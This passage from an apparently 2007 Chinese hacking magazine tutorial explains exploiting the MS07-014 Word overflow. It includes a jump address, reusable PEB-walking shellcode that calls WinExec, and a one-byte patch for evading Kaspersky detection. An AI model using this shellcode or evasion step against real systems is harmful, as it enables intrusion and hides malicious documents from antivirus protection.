洞 利 用 的 限 制 条 件, 我 们 再 看 看 如 何 添 加 我 们 自 己 的 ShellCode 首 先 跳 转 地 址 已 经 选 定, 可 以 是 0x300033d4, 也 可 以 找 其 它 的 同 时,SC1 也 仍 然 被 采 用, 它 的 功 能 是 在 内 存 中 查 找 SC2, 并 跳 转 到 SC2 执 行 SC1 查 找 SC2 的 标 记 是 90909090, 也 就 是 如 果 发 现 某 片 内 存 以 90909090 开 头 的 话, 就 认 为 是 SC2 我 们 自 己 写 的 ShellCode 只 需 要 接 在 原 来 SC2 的 几 个 90 后 面 就 可 以 了 为 了 测 试 方 便, 我 自 己 写 了 个 通 过 WinExec 函 数 直 接 启 动 计 算 器 的 通 用 的 ShellCode, 这 个 ShellCode 可 以 22 ww w.h acke r.com. cn 黑 客 防 线 2007. 08 HACKER DEFENCE

在 以 后 的 任 何 漏 洞 测 试 中 直 接 用, 相 应 的 汇 编 代 码 如 下 // 计 算 kernel32 mov eax,fs:0030h //PEB addr mov eax,[eax+0ch] mov esi,[eax+1ch] lodsd mov edi,[eax+08h] //kernel32.dll base // 通 过 导 出 表 搜 索 WinExec 地 址 mov eax,[edi+3ch] //PE HEADER RVA mov edx,[edi+eax+78h] //export table RVA add edx,edi mov ebx,[edx+20h] // 函 数 名 数 组 RVA xor ecx,ecx find_winexec_loop: inc ecx mov esi,[ebx+ecx*4] add esi,edi mov eax,'eniw' cmp eax,[esi] jnz find_winexec_loop mov ax,'ex' cmp ax, WORD ptr [esi+4] jnz find_winexec_loop mov ebx,[edx+24h] mov cx,[ebx+ecx*2] mov ebx,[edx+1ch] mov eax,[ebx+ecx*4] add eax,edi //eax 为 函 数 WinExec 地 址 // 调 用 该 函 数 call _WinExec //_EMIT 为 指 令 一 次 定 义, 但 节 约 指 令 字 节 数 _EMIT 'C' _EMIT 'a' _EMIT 'l' _EMIT 'c' _EMIT '.' _EMIT 'e' _EMIT 'x' _EMIT 'e' _EMIT 0 _WinExec: pop ebx //ebx 为 要 执 行 的 程 序 名 指 针, 如 calc.exe push 1 //SW_NORMAL push ebx call eax //WinExec nop nop 与 以 上 代 码 对 应 的 WinExec.cpp 文 件 已 在 杂 志 相 关 中 提 供 防 杀 处 理 与 /GS 保 护 由 于 该 漏 洞 已 经 公 布, 我 们 拿 到 的 样 本 要 被 KIS 查 杀, 好 在 可 以 通 过 特 征 码 定 位 技 术 找 到 特 征 码, 位 置 在 17CC2H, 将 该 字 节 由 02 改 为 00 即 可 免 杀 此 外, 大 家 可 能 还 有 个 疑 问,Office 2003 是 否 存 在 /GS 保 护 其 实,Office 2003 最 初 是 由 VS2002 编 译 生 成 的, 也 就 是 编 译 器 是 7.0 版 本, 而 不 是 7.1 (VS2003), 所 以 不 存 在 /GS 保 护, 这 个 漏 洞 可 以 正 常 利 用 小 结 本 文 中, 我 们 分 析 了 MS07-014 中 的 Word 畸 形 数 据 结 构 溢 出 漏 洞, 中 间 用 到 的 分 析 技 术 都 是 比 较 基 础 的, 希 望 能 对 初 学 的 朋 友 有 所 帮 助 文 中 内 容 难 免 有 错 漏 之 处, 还 希 望 大 家 积 极 指 正 HACKER DEFENCE ww w.h acke r.c om. 2007. 08 黑 客 防 cn 线 23